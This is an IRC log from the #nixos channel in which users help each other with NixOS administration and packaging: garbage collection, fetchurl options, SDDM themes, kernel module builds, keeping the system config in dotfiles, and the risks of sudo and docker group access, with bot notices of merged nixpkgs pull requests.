gchristensen changed the topic of #nixos to: NixOS 18.03 and Nix 2.0 are released! || Share the output of nix-shell -p nix-info --run nix-info to help us help you. || https://nixos.org || Latest NixOS: https://nixos.org/nixos/download.html || Latest Nix: https://nixos.org/nix/download.html || Logs: https://logs.nix.samueldr.com/nixos/ || #nixos-dev, #nix-darwin, #nixos-aarch64, #nixos-chat
globin has joined #nixos
stephenjudkins has quit [Ping timeout: 260 seconds]
seville has quit [Quit: Leaving]
jrolfs_ has quit [Ping timeout: 260 seconds]
globin has quit [Ping timeout: 260 seconds]
Rusty1_ has quit [Quit: Konversation terminated!]
<{^_^}> [nixpkgs] @nicknovitski opened pull request #39992 → yarn2nix error handling improvements → https://git.io/vpw4c
rosa has joined #nixos
jgertm has quit [Ping timeout: 256 seconds]
Rusty1_ has joined #nixos
GiGa|Laptop has joined #nixos
aarvar has quit [Ping timeout: 268 seconds]
thc202 has quit [Ping timeout: 268 seconds]
globin has joined #nixos
joehh has joined #nixos
swflint has joined #nixos
norfumpit has joined #nixos
AluisioASG has joined #nixos
rosa has quit [Quit: rosa]
alfie has quit [Quit: Bye.]
<GiGa|Laptop> Hello
<GiGa|Laptop> I'm running out of space on /
<GiGa|Laptop> I've deleted generations
<{^_^}> [nixpkgs] @jtojnar closed pull request #30242 → Firefox: do not crash on print dialog. → https://git.io/vdgiI
rosa has joined #nixos
<GiGa|Laptop> but can anyone tell me if I still need to run garbage collection
<zybell> yes
<clever> GiGa|Laptop: how did you delete the generations?
silver_ has joined #nixos
hakujin has joined #nixos
<GiGa|Laptop> nix-env -p /nix/var/nix/profiles/system --delete-generations
<GiGa|Laptop> Hi clever, nix-env -p /nix/var/nix/profiles/system --delete-generations
<clever> yeah, you still need to do a nix-collect-garbage after that
<clever> to delete the newly made garbage
krey has joined #nixos
AluisioASG has quit [Ping timeout: 256 seconds]
joehh has quit [Ping timeout: 264 seconds]
silver has quit [Ping timeout: 276 seconds]
<GiGa|Laptop> clever, thanks, that's much better already
<GiGa|Laptop> I should make and delete the garbage more often
<clever> there is also `nix-collect-garbage -d` and `--delete-older-than`, which delete the generations for you, then GC
<clever> -d just gets rid of all old ones, --older-than has a cut-off time
hakujin has quit [Ping timeout: 260 seconds]
AluisioASG has joined #nixos
<GiGa|Laptop> good to know, thank
<GiGa|Laptop> s
<{^_^}> [nixpkgs] @Redcroft opened pull request #39993 → Update version 16.5.439 → https://git.io/vpwBZ
norfumpit has quit [Ping timeout: 248 seconds]
hamishma_ has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
swflint has quit [Ping timeout: 240 seconds]
AluisioASG has quit [Ping timeout: 256 seconds]
rosa has quit [Quit: rosa]
rosa has joined #nixos
norfumpit has joined #nixos
swflint has joined #nixos
jrolfs_ has joined #nixos
sm0rux has left #nixos ["Leaving"]
griff_ has quit [Quit: griff_]
AluisioASG has joined #nixos
jrolfs_ has quit [Ping timeout: 264 seconds]
goibhniu has joined #nixos
rosa has quit [Quit: rosa]
swflint has quit [Ping timeout: 265 seconds]
rosa has joined #nixos
swflint has joined #nixos
xcmw has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
<Xal> more packaging fun! I can't use the keyboard in IDA and it's giving me the error: xkbcommon: ERROR: failed to add default include path /usr/share/X11/xkb
<Xal>
GiGa|Laptop has quit [Ping timeout: 268 seconds]
jrolfs_ has joined #nixos
<clever> Xal: libredirect
<Xal> Aha! I just needed wrapper that set QT_XKB_CONFIG_ROOT
andreabe_ has joined #nixos
blankhart has joined #nixos
andreabedini has quit [Ping timeout: 240 seconds]
blonkhart has joined #nixos
wchresta_ has joined #nixos
jrolfs_ has quit [Ping timeout: 240 seconds]
goibhniu1 has joined #nixos
goibhniu has quit [Ping timeout: 264 seconds]
jrolfs_ has joined #nixos
<Xal> Thanks everyone that has helped me package IDA freeware! I've finally got it working: http://nixpaste.lbr.uno/3o0cjdPj?nix
<clever> up next is a PR to nixpkgs
<Xal> I'm going to have to test it a lot first
<clever> Xal: the idaInstaller could probably be improved by adding a postfetch
<Xal> what is that?
<clever> if you pass a postFetch string to fetchurl, it gets ran after fetching
<clever> then you can chmod +x $out in there
<Xal> ah, good idea
<clever> which gets rid of the entire mkDerivation wrapped around it
<Xal> can I put a src in a buildFHSUserEnv?
semilattice has joined #nixos
Supersonic has quit [Disconnected by services]
Supersonic112 has joined #nixos
<clever> idaInstaller = fetchurl { url=; sha256=; recursiveHash = true; postFetch = "chmod +x $out"; };
<clever> this should be identical to your current idaInstaller, and can be used the same way in buildFHSUserEnv
<clever> just note that the hash will be different, and nix can glitch if you try to use the old hash
<{^_^}> [nixpkgs] @sorpaas opened pull request #39994 → parity-ui: init at 0.1.1 → https://git.io/vpwRl
Supersonic112 is now known as Supersonic
<clever> oh, just noticed
<clever> idaInstaller = fetchurl { url=; sha256=; recursiveHash = true; executable = true; };
<clever> it has a flag for just this use, lol
rosa has quit [Quit: rosa]
<clever> and line 132 checks for executable
<clever> idaInstaller = fetchurl { url=; sha256=; executable = true; };
<clever> all of those should be identical to what you currently have
rosa has joined #nixos
silver_ has quit [Read error: Connection reset by peer]
mbrgm has quit [Ping timeout: 248 seconds]
<Xal> haha, perfect!
wchresta_ has quit [Ping timeout: 264 seconds]
<clever> you could also move the libPath from its current place, to the let block where idaInstaller is
<clever> i find that makes things more readable
<clever> and the buildInputs on the final derivation are likely un-needed
<clever> that only helps if your compiling against them
athan has quit [Remote host closed the connection]
<Xal> so nix will know if the rpath refers to them?
<zybell> the double stars in install,are they needed?
<clever> Xal: yep
<clever> Xal: the runtime closure is basically the result of greping $out for every input path
<Xal> zybell: that's me being lazy, I need to figure out exactly which libraries need to be patched
<clever> Xal: and the input paths include things like ${libPath}
<Xal> ida has about two dozen .so's that need to be patched
mbrgm has joined #nixos
<clever> i think **/*.so is identical to ./**/*.so
<zybell> bash does no rec descent with these
<clever> find -name '*.so' could be used, but if you know what directory its in, you can just lib/*.so
<clever> and .so files shouldnt be +x
semilattice has quit [Remote host closed the connection]
<zybell> thats why you need ./**/**/ <-- note second dir level
<zybell> that would suffice:./*/*/
<Xal> thanks for the tips
andreabedini has joined #nixos
<zybell> and if you want two levels with one expr ./*/.*/*/ helps although the files are listed more than once
rosa has quit [Quit: rosa]
andreabe_ has quit [Ping timeout: 248 seconds]
rosa has joined #nixos
sivteck has joined #nixos
griff_ has joined #nixos
rosa has quit [Quit: rosa]
rosa has joined #nixos
nur0n0 has joined #nixos
nur0n0 has quit [Client Quit]
nur0n0 has joined #nixos
jrolfs_ has quit [Ping timeout: 248 seconds]
ertes has joined #nixos
ihar has quit [Quit: WeeChat 2.0]
maingo has quit [Quit: Connection closed for inactivity]
sanscoeur has joined #nixos
mattyu has joined #nixos
<{^_^}> Channel nixpkgs-18.03-darwin advanced to https://github.com/NixOS/nixpkgs/commit/40a97926b7b (from 4 hours ago, history: https://channels.nix.gsc.io/nixpkgs-18.03-darwin)
jrolfs_ has joined #nixos
andreabe_ has joined #nixos
andreabedini has quit [Ping timeout: 264 seconds]
<mattyu> Anyone with experience changing themes in plasma5/sddm ? As far as I can tell I can only choose between the default themes (breeze, elarun, maldives and maya). It fails to let me install new ones from the kde installer and there's no way for me to install new ones into the "themes" root in sddm install (because #nixos)... Any thoughts?
<clever> mattyu: take any package that contains a $out/share/sddm/themes and put it into systemPackages, and it should work
jrolfs_ has quit [Ping timeout: 268 seconds]
<mattyu> Cool - thanks for this! I'll play with it...
sir_guy_carleton has quit [Quit: Leaving]
<mattyu> I'm still getting familiar with this os - what's the best practice for something like this? Run a nix-shell on the derivation and make the changes I need? Or change the derivation and run nix-env?
tmaekawa has joined #nixos
<clever> mattyu: sddm only looks in /run/current-system, so neither nix-shell nor nix-env will put the files there
<clever> mattyu: if you just want to check a package, use nix-build
tmaekawa has quit [Client Quit]
<clever> and once the files are in the right sub-dir, you add it to environment.systemPackages and nixos-rebuild
hamishmack has joined #nixos
<mattyu> ahh.. ok - so the display manager runs at the system level not in the user (application) space?
nuncanada has quit [Quit: Leaving]
nur0n0 has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
<clever> yeah
<mattyu> Alright - thanks for the guidance, I'll play with nix-build.
acarrico has quit [Ping timeout: 256 seconds]
nur0n0 has joined #nixos
freeman42x]NixOS has quit [Ping timeout: 264 seconds]
rosa has quit [Quit: rosa]
andreabedini has joined #nixos
nur0n0 has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
andreabe_ has quit [Ping timeout: 264 seconds]
nur0n0 has joined #nixos
goibhniu1 has quit [Ping timeout: 268 seconds]
blankhart has quit [Ping timeout: 268 seconds]
iqubic has joined #nixos
mattyu has quit [Ping timeout: 240 seconds]
_habnabit has quit [Remote host closed the connection]
Cale has joined #nixos
rosa has joined #nixos
maingo has joined #nixos
_habnabit has joined #nixos
Fare has joined #nixos
andreabe_ has joined #nixos
andreabedini has quit [Ping timeout: 240 seconds]
drakonis has joined #nixos
Fare has quit [Ping timeout: 248 seconds]
nur0n0 has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
griff_ has quit [Quit: griff_]
nur0n0 has joined #nixos
Fare has joined #nixos
cryp2nomicon has joined #nixos
Fare has quit [Ping timeout: 248 seconds]
Ben______ has joined #nixos
ryantrinkle has quit [Ping timeout: 240 seconds]
<Ben______> Hi all
wchresta_ has joined #nixos
<Ben______> I'm playing around with nixos on the laptop. Running LightDM & i3 and trying to configure touchpad via libinput.
<Ben______> Does anybody know a way to test settings like services.xserver.libinput.accesSpeed without doing nixos-rebuild switch & reboot?
Ross has quit [Ping timeout: 248 seconds]
andreabedini has joined #nixos
Ross has joined #nixos
andreabe_ has quit [Ping timeout: 268 seconds]
simukis has joined #nixos
<Ben______> Anybody?
<krey> Ben______: isn't it enough to nixos-rebuild switch and then restart X?
<Ben______> It's better for sure!
wchresta_ has quit [Ping timeout: 256 seconds]
sivteck has quit [Ping timeout: 264 seconds]
Lisanna has joined #nixos
Ben_______ has joined #nixos
PolarIntersect has joined #nixos
<PolarIntersect> yo
<PolarIntersect> Does anyone know
<Ben______> How's restarting X done again? I'm a little rusty, I'm afraid.
<PolarIntersect> Does anyone know why SLiM doesn't source `.profile`, `.bash_profile`, and other user files in $HOME by default in NixOS?
<PolarIntersect> I'm assuming SLiM is the default login manager
<krey> Ben______: also, have you tried messing with xinput first?
<Ben_______> Krey: nope, first I'm hearing about that. Let me research that real quick.
<krey> Ben______: you can restart the lightdm service, should restart X at well
andreabe_ has joined #nixos
<PolarIntersect> Also, does anyone know if `nixos-rebuild switch` updates the system? or is that a different command?
<clever> PolarIntersect: the display manager will source .xprofile before launching the desktop manager
<maurer> nixos-rebuild switch just makes your running system match your configuration.nix and whatever nixos you have downloaded
<clever> PolarIntersect: and nixos-rebuild switch, will update the system, but it wont restart the display-manager
<maurer> If you actually want new stuff, you will need to do nixos-rebuild switch --upgrade
<PolarIntersect> But it'll update current packages, yeah?
<PolarIntersect> to latest versions?
andreabedini has quit [Ping timeout: 268 seconds]
<PolarIntersect> ooooh, --upgrade
<PolarIntersect> cool
<PolarIntersect> Thank you :)
rosa has quit [Quit: rosa]
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39938 → switch-to-configuration: use Net::DBus to retrieve the list of units → https://git.io/vp25y
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwzT
<{^_^}> → 54a13b07 by @edef1c: switch-to-configuration: use Net::DBus to retrieve the list of units
<{^_^}> → bcf8e749 by @matthewbauer: Merge pull request #39938 from edef1c/net-dbus-list-units
Ben______ has quit [Quit: Page closed]
andreabedini has joined #nixos
andreabe_ has quit [Ping timeout: 264 seconds]
ryantrinkle has joined #nixos
phdoerfler has joined #nixos
hakujin has joined #nixos
andreabe_ has joined #nixos
<PolarIntersect> hmm
<PolarIntersect> Seems like it still didn't upgrade Discord
<PolarIntersect> Maybe I need to be on a newer channel?...
andreabedini has quit [Ping timeout: 260 seconds]
<clever> PolarIntersect: nixpkgs itself may need an update first
phdoerfler has quit [Ping timeout: 256 seconds]
hakujin has quit [Ping timeout: 256 seconds]
andreabedini has joined #nixos
nur0n0 has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
cryp2nom1con has joined #nixos
cryp2nom1con has quit [Client Quit]
andreabe_ has quit [Ping timeout: 264 seconds]
Fare has joined #nixos
simukis has quit [Quit: simukis]
simukis has joined #nixos
Fare has quit [Ping timeout: 240 seconds]
<{^_^}> [nixpkgs] @jraygauthier opened pull request #39996 → vscode-extension-ms-vscode-cpptools: 0.12.3 -> 0.16.1 → https://git.io/vpwz7
andreabe_ has joined #nixos
andreabedini has quit [Ping timeout: 260 seconds]
Rusty1_ has quit [Quit: Konversation terminated!]
andreabedini has joined #nixos
<colemickens> Does `--upgrade` even mean anything if I'm not on an official nixos channel?
andreabe_ has quit [Ping timeout: 248 seconds]
<clever> colemickens: all --upgrade does is run `nix-channel --update`
<colemickens> that makes sense, and I'm pretty sure I read that in the --help today... thanks.
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39972 → mathematica: add mesa, fix `libGL.so.1 not found` messages → https://git.io/vpVIM
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwgU
<{^_^}> → 1f1e16af by @ikervagyok: mathematica: add mesa, fix `libGL.so.1 not found` messages
<{^_^}> → 4f08e590 by @matthewbauer: Merge pull request #39972 from ikervagyok/mathematica
andreabe_ has joined #nixos
andreabedini has quit [Ping timeout: 256 seconds]
blankhart has joined #nixos
<{^_^}> [nixpkgs] @jD91mZM2 opened pull request #39997 → Fix xfce4-panel and deja-dup → https://git.io/vpwgO
<{^_^}> [nixpkgs] @matthewbauer merged pull request #38489 → gmrender-resurrect: init → https://git.io/vxScA
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwgs
<{^_^}> → add9f5cf by @k0ral: gmrender-resurrect: init
<{^_^}> → 7bbd4e94 by @matthewbauer: Merge pull request #38489 from k0ral/nixos-unstable
rosa has joined #nixos
stranger___ has joined #nixos
<stranger___> hi. merge please? https://github.com/NixOS/nixpkgs/pull/35533
cryp2nomicon has quit [Quit: leaving]
daveo has joined #nixos
daveo has quit [Remote host closed the connection]
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39777 → folly: 2018.04.16.00 -> 2018.04.23.00 → https://git.io/vp08Y
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwg4
<{^_^}> → 369a7e59 by R. RyanTM: folly: 2018.04.16.00 -> 2018.04.23.00
<{^_^}> → bcc65dd4 by @matthewbauer: Merge pull request #39777 from r-ryantm/auto-update/folly
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39784 → cni-plugins: 0.7.0 -> 0.7.1 → https://git.io/vp0RG
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwgB
<{^_^}> → f66a510d by R. RyanTM: cni-plugins: 0.7.0 -> 0.7.1
<{^_^}> → e852b619 by @matthewbauer: Merge pull request #39784 from r-ryantm/auto-update/cni-plugins
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39983 → way-cooler: renaming commands is not needed anymore → https://git.io/vpVDa
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwgR
<{^_^}> → e9ac594e by Sander Hollaar: fix-way-cooler - remove 'mv' commands not needed anymore, and replace '_' with '-' to fix multiple way-cooler compile fa…
<{^_^}> → 938299be by @matthewbauer: Merge pull request #39983 from ookhoi/fix-way-cooler
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39714 → open-ecard: init at 1.2.4 → https://git.io/vpRYz
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwg0
<{^_^}> → 480da10f by Stefan Wiehler: open-ecard: init at 1.2.4
<{^_^}> → 94d6c378 by @matthewbauer: Merge pull request #39714 from sephalon/open-ecard
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39994 → parity-ui: init at 0.1.1 → https://git.io/vpwRl
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwgE
<{^_^}> → 3bd1fcc4 by @sorpaas: parity-ui: init at 0.1.1
<{^_^}> → 0e6a3b39 by @matthewbauer: Merge pull request #39994 from sorpaas/parity-ui-init
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39990 → Add package: git-secrets → https://git.io/vpwGw
<{^_^}> [nixpkgs] @matthewbauer pushed 3 commits to master: https://git.io/vpwgu
<{^_^}> → 77a54ea5 by @bbarker: adding untested git-secrets
<{^_^}> → ee270fe6 by @bbarker: confirmed git-secrets is now working
<{^_^}> → 78a71c8d by @matthewbauer: Merge pull request #39990 from bbarker/git-secrets
<{^_^}> [nixpkgs] @dotlambda pushed to python-unstable « python.pkgs.bootstrapped-pip: remove pkg_resources patch »: https://git.io/vpwga
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39993 → Update version 16.5.439 → https://git.io/vpwBZ
<{^_^}> [nixpkgs] @matthewbauer pushed commit from @Redcroft to master « houdini: 16.5.405 -> 16.5.439 »: https://git.io/vpwgw
<{^_^}> [nixpkgs] @matthewbauer pushed commit from @bricewge to master « sshguard: service creates /var/lib/sshguard »: https://git.io/vpwgo
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39872 → sshguard: service creates /var/lib/sshguard → https://git.io/vpzif
<{^_^}> [nixpkgs] @matthewbauer merged pull request #35533 → ndppd module: init → https://git.io/vAwHz
<{^_^}> [nixpkgs] @matthewbauer pushed commit from @gnidorah to master « ndppd module: init (#35533) »: https://git.io/vpwgM
<{^_^}> [nixpkgs] @matthewbauer merged pull request #39881 → Add epeg → https://git.io/vpzhZ
<{^_^}> [nixpkgs] @matthewbauer pushed 2 commits to master: https://git.io/vpwgD
<{^_^}> → c7b21cd1 by @nh2: epeg: init at 0.9.1.042
<{^_^}> → 30caa09e by @matthewbauer: Merge pull request #39881 from nh2/epeg
<colemickens> I can't tell if I've done something wrong. My NixOS machine is running 4.14.39. When I try to create this VM image, then I see a VM that boots running kernel 4.15... but then it tries to insmod a module built for 4.14.39.
<colemickens> Which fails, of course.
<{^_^}> [nixpkgs] @dotlambda pushed to python-unstable « python.pkgs.bootstrapped-pip: wheel: 0.30.0 -> 0.31.0 »: https://git.io/vpwgd
tertle||eltret has quit [Quit: Connection closed for inactivity]
Fare has joined #nixos
<colemickens> I only have one nixpkg enlistment on this machine, there are no channels checked out (and I manually cleared the built-in one).
rosa has quit [Quit: rosa]
rosa has joined #nixos
jgertm has joined #nixos
throwboy has joined #nixos
jD91mZM2 has joined #nixos
andreabe_ has quit [Remote host closed the connection]
andreabedini has joined #nixos
aarvar has joined #nixos
andreabedini has quit [Ping timeout: 248 seconds]
griff_ has joined #nixos
<{^_^}> [nixpkgs] @offlinehacker merged pull request #39991 → fleet, panamax: remove → https://git.io/vpwcR
<{^_^}> [nixpkgs] @offlinehacker pushed 3 commits to master: https://git.io/vpw2c
<{^_^}> → c3eefe80 by @xeji: fleet: remove package, module, test
<{^_^}> → f039bf9a by @xeji: panamax: remove packages, module and test
<{^_^}> → 3ec4528d by @offlinehacker: Merge pull request #39991 from xeji/remove-fleet
throwboy has quit [Remote host closed the connection]
jedai42 has joined #nixos
jedai|3 has joined #nixos
jedai has quit [Ping timeout: 240 seconds]
<jD91mZM2> What's the recommended way to build haskell packages? cabal2nix works great, sure, but would it be better/worse to use pure cabal?
wchresta_ has joined #nixos
jedai42 has quit [Ping timeout: 256 seconds]
rosa has quit [Quit: rosa]
<jD91mZM2> Also, running `cabal build` complains about "/usr/bin/ghc-pkg: createProcess: runInteractiveProcess: exec: does not exist (No such file or directory)". Which is odd, since it should detect that ghc-pkg is in my PATH
drakonis has quit [Read error: Connection reset by peer]
<jD91mZM2> Never mind, the cabal build issue was due to an old shell alias I had which somehow messed things up. My bad.
joehh has joined #nixos
smichel has joined #nixos
wchresta_ has quit [Ping timeout: 260 seconds]
jrolfs_ has joined #nixos
nocoolnametom has quit [Ping timeout: 240 seconds]
<{^_^}> [nixpkgs] @thoughtpolice pushed to master « foundationdb: rename jar file to match upstream »: https://git.io/vpw2Q
nocoolnametom has joined #nixos
<{^_^}> [nixpkgs] @mogorman opened pull request #39998 → platformio: add git to chroot so it is usable by platformio command → https://git.io/vpw2A
griff_ has quit [Ping timeout: 264 seconds]
andreabedini has joined #nixos
jgertm has quit [Ping timeout: 264 seconds]
jacob_ has joined #nixos
GiGa|Laptop has joined #nixos
<GiGa|Laptop> Morning|Afternoon|Evening all
<GiGa|Laptop> Anyway use a Fido2 Yubikey?
<GiGa|Laptop> *Anyone
wchresta_ has joined #nixos
codygman has joined #nixos
<codygman> Anyone use spacemacs and mu4e on nixos successfully? I notice it doesn't work by default because mu4e installs itself somewhere different.
<GiGa|Laptop> Does spacemacs allow you to specify a path to mu4e
<GiGa|Laptop> ?
<GiGa|Laptop> I sometimes have this problem with git
<GiGa|Laptop> so I do a "whereis git"
<GiGa|Laptop> perhaps you can do the same ?
<codygman> GiGa|Laptop: Oh it does... let me try specifying the path
<GiGa|Laptop> codygman, I don't know if there's a way to specify it in your system config, but if you can specify it in the program config I suspect you'll be laughing
katyucha has joined #nixos
wchresta_ has quit [Ping timeout: 248 seconds]
periklis has joined #nixos
FireFly has quit [Quit: Goodbye]
andreabe_ has joined #nixos
andreabedini has quit [Ping timeout: 268 seconds]
Arcaelyx has joined #nixos
GiGa|Laptop has quit [Remote host closed the connection]
smichel has quit [Quit: smichel]
<swaaws> how do build a kernel module with .nix file (chapter 12 in the nix manual are a little bit slim) https://gist.github.com/manveru/d4bc162127365f6f812d I commented below I think there are commands for nix pkgs
<swaaws> manveru: ^
<tilpner> swaaws - nix-build -E 'with import <nixpkgs> {}; linuxPackages.callPackage ./tuxedo-wmi.nix {}'
<{^_^}> [nixpkgs] @nlewo pushed to release-18.03 « gcc49: backport retpoline support »: https://git.io/vpwab
<tilpner> The build fails for me, but at least it starts building
rosa has joined #nixos
NightTrain has quit [Quit: Lost terminal]
<tilpner> Adding libelf to nativeBuildInputs gets to the next error "error: code model kernel does not support PIC mode"
asuryawanshi has joined #nixos
asuryawanshi has quit [Remote host closed the connection]
mingc has joined #nixos
<{^_^}> [nixpkgs] @demyanrogozhin opened pull request #39999 → particl-core: init at 0.16.0.4 → https://git.io/vpwVZ
asuryawanshi has joined #nixos
<swaaws> tilpner: So many thx it’s building time. No errors
<tilpner> Huh
<tilpner> How do you not get that "does not support PIC mode" error...
<sphalerite> I don't really get the purpose of trusted-substituters. Why wouldn't users be allowed to just use any substituter as long as the signing keys on the imported NARs are trusted?
seanparsons has joined #nixos
<swaaws> tilpner: it’s currently downloading I’m on EDGE cellular
vcunat has joined #nixos
<tilpner> Oh, okay, it'll error in a while then
periklis has quit [Ping timeout: 265 seconds]
katyucha has quit [Ping timeout: 268 seconds]
<swaaws> tilpner ok i get errors, see the last gist comment
<tilpner> I already said how to fix that
<swaaws> Oh sorry, I don’t understand add libelf to native...
obadz- has joined #nixos
va1entin has joined #nixos
<va1entin> Hey folks, are new non-LTS kernels not being backported to Nixos stable anymore? I haven't seen 4.16 appear in release-18.03 so far and we're already at 4.16.7. In 17.09 the latest stable kernel was backported iirc
<va1entin> I'm using longterm 4.14 now so it's not that much of a problem. I was just wondering
obadz has quit [Ping timeout: 256 seconds]
obadz- is now known as obadz
<swaaws> tilpner i get „PIC“error too
katyucha has joined #nixos
<swaaws> tilpner the PIC error are a gcc bug. To disable add -fno-pie to extra_cflags
rosa has quit [Quit: rosa]
rosa has joined #nixos
<{^_^}> Channel nixpkgs-18.03-darwin advanced to https://github.com/NixOS/nixpkgs/commit/0a73111bc29 (from 43 minutes ago, history: https://channels.nix.gsc.io/nixpkgs-18.03-darwin)
rosa has quit [Quit: rosa]
rosa has joined #nixos
dbe_ has joined #nixos
katyucha has quit [Ping timeout: 256 seconds]
Synthetica has joined #nixos
katyucha has joined #nixos
orivej has joined #nixos
katona has joined #nixos
stranger___ has quit [Quit: Connection closed for inactivity]
katyucha has quit [Ping timeout: 248 seconds]
hakujin has joined #nixos
raynold has quit [Quit: Connection closed for inactivity]
rosa has quit [Quit: rosa]
hakujin has quit [Ping timeout: 264 seconds]
rosa has joined #nixos
<jD91mZM2> If I want to store my nixos config in my dotfiles, is it a bad idea to move /etc/nixos to ~/.dotfiles/nixos and then symlink it in place?
<jD91mZM2> Also, just how bad of an idea is it to chown it as the local user to avoid having to use sudoedit every single time I modify the config?
rosa has quit [Quit: rosa]
rosa has joined #nixos
ixxie has joined #nixos
<tilpner> jD91mZM2 - You don't need /etc/nixos at all, you can build directly from ~/.dotfiles
<{^_^}> [nixpkgs] @JohnAZoidberg opened pull request #40000 → nixos/documentation: Correct use of lib.optional → https://git.io/vpwr3
<ixxie> what's the best place to ask questions about NixOps?
<jD91mZM2> tilpner: Without any extra command line flags?
<ixxie> #nixos is my goto place for most Nix related stuff but really it appears that relatively few of us do NixOps
<tilpner> jD91mZM2 - Sort of. You need to change NIX_PATH or wrap <nixpkgs/nixos>, but it doesn't require extra flags
<jD91mZM2> Is there any point of doing that rather than just symlinking?
<tilpner> I think it's prettier. At least unless you automate the symlinking to
<tilpner> *too
<tilpner> But no, there's no great difference here
<sphalerite> ixxie: pretty sure it is here, but yes I think your impression is also correct
<jD91mZM2> Where would the variable be set? In ~/.profile? Because ~/.profile isn't really sourced correctly in my opinion
<jD91mZM2> from what I've seen*
<sphalerite> jD91mZM2: nix.nixPath :D
wchresta_ has joined #nixos
<tilpner> jD91mZM2 - In your configuration.nix, with nix.nixPath
<jD91mZM2> Wait so in order to change my configuration path I must use the configuration?
thc202 has joined #nixos
<tilpner> Yes
<jD91mZM2> So... how does it find it in the first place?
<tilpner> For the first rebuild you'll need to pass an extra flag or alter NIX_PATH in your shell
olto has joined #nixos
<sphalerite> yay for bootstrapping!
logzet has joined #nixos
<jD91mZM2> I mean... okkkayy I guess
<tilpner> nix.nixPath = [ "nixos-config=${toString ./configuration.nix}" ];
<sphalerite> from a security perspective, keeping it there means that a lot more stuff has the ability to modify the config.
<sphalerite> which may be undesirable.
<sphalerite> However, it still takes root to actually apply any changes.
<tilpner> But won't be a problem if you use git
<jD91mZM2> Why not tilpner?
<sphalerite> FWIW I usually symlink /etc/nixos/configuration.nix to the repo I keep the config in, rather than changing NIX_PATH
<tilpner> jD91mZM2 - Because your shell prompt will tell you that your branch has unstaged changes
<jD91mZM2> sphalerite: What does FWIW mean? Sorry, Google is giving me a captcha ._.
<sphalerite> tilpner: but what if a bad actor committed the changes?
<tilpner> So unless there is a time-coordinated attack on your config, you should notice it has been changed
<sphalerite> jD91mZM2: for what it's worth
Fare has quit [Ping timeout: 248 seconds]
<jD91mZM2> ah
humanoyd has joined #nixos
<jD91mZM2> Should command line dependencies like "file" and "cmake" and stuff go in nativeBuildInputs btw?
<jD91mZM2> Meanwhile "libssh2" goes in buildInputs?
Izorkin_ has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
<tilpner> sphalerite - Hmm, you're right. It would require an automated check that all commits are signed (or at least the last one)
<tilpner> (With that and that key)
iqubic` has joined #nixos
iqubic` has left #nixos [#nixos]
<sphalerite> jD91mZM2: yes, anything that needs to run as part of the build is nativeBuildInputs
<tilpner> But then again, this is an attack on your specific configuration, and the attacker already has your user
<sphalerite> well, barring compilers and stuff :/
iqubic has quit [Ping timeout: 255 seconds]
<jD91mZM2> lol that xkcd is gold
<sphalerite> tilpner: indeed. If an attacker has my user they can get root anyway by messing around with my tmux or whatever
<sphalerite> as well as that
<tilpner> Right. They could just mock sudo, and they my password too
<tilpner> *they have my
<jD91mZM2> Does that mean I should not stay away from the "docker" group just because it can be used to modify root files?
<sphalerite> yes
<sphalerite> IMHO
<ixxie> sphalerite: do you know which of the regulars here are into NixOps? Are you into it for example?
<tilpner> On your personal machine, adding yourself to docker is okay (IMO)
<sphalerite> ixxie: I'm not :p
<jD91mZM2> It seems like docker can literally mount the whole root without sudo though... that seems pretty spooky
<tilpner> ixxie - gchristensen is
<sphalerite> jD91mZM2: sure it can, but it's not something you'd do by accident. And if an attacker is in your user account you probably have bigger problems than securing your root account :)
rosa has quit [Quit: rosa]
wchresta_ has quit [Ping timeout: 240 seconds]
<sphalerite> jD91mZM2: not something you'd do by accident, unlike sudo sometimes :p
asuryawanshi has quit [Ping timeout: 240 seconds]
<jD91mZM2> Btw, virtualisation.docker. virtualisation
<sphalerite> confession: I have on multiple occasions shut servers down when I intended to shut my local machine down
<sphalerite> :D
<jD91mZM2> with an s.
<sphalerite> Yep.
<tilpner> sphalerite - Your prompt doesn't show the hostname?
<sphalerite> tilpner: sure it did, but I'm not going to read it every time :p
rosa has joined #nixos
<ixxie> good to know, thanks sphalerite, tilpner
jxf has quit [Ping timeout: 256 seconds]
<sphalerite> tilpner: the real problem was that I had passwordless sudo on the server. Otherwise typing the wrong password would have stopped me.
<jD91mZM2> Although shutting down usually uses polkit either way
<tilpner> sphalerite - My prompt only displays the hostname if $SSH_TTY is set (and a few other ones)
<sphalerite> jD91mZM2: yeah, I usually do poweroff without sudo nowadays. This was like 7 years ago
<sphalerite> I think it didn't work back then, or at least not on the machine I was using
jxf has joined #nixos
<jD91mZM2> I wish there was some good way to use passwordless sudo without making scripts able to use it
<jD91mZM2> Typing sudo every time I rebuild my config is annoying :P
<tilpner> Not every rebuild needs root though
* sphalerite uses sudo -i to just get a root shell :x
goibhniu has joined #nixos
<jD91mZM2> Woah I totally forgot about sudo -i
<sphalerite> jD91mZM2: what about configuring it not to require a password just for specific commands?
<sphalerite> like nixos-rebuild
<jD91mZM2> tilpner: Which ones don't? I usually don't want to chance it and just use sudo either way
<sphalerite> user environment rebuilds
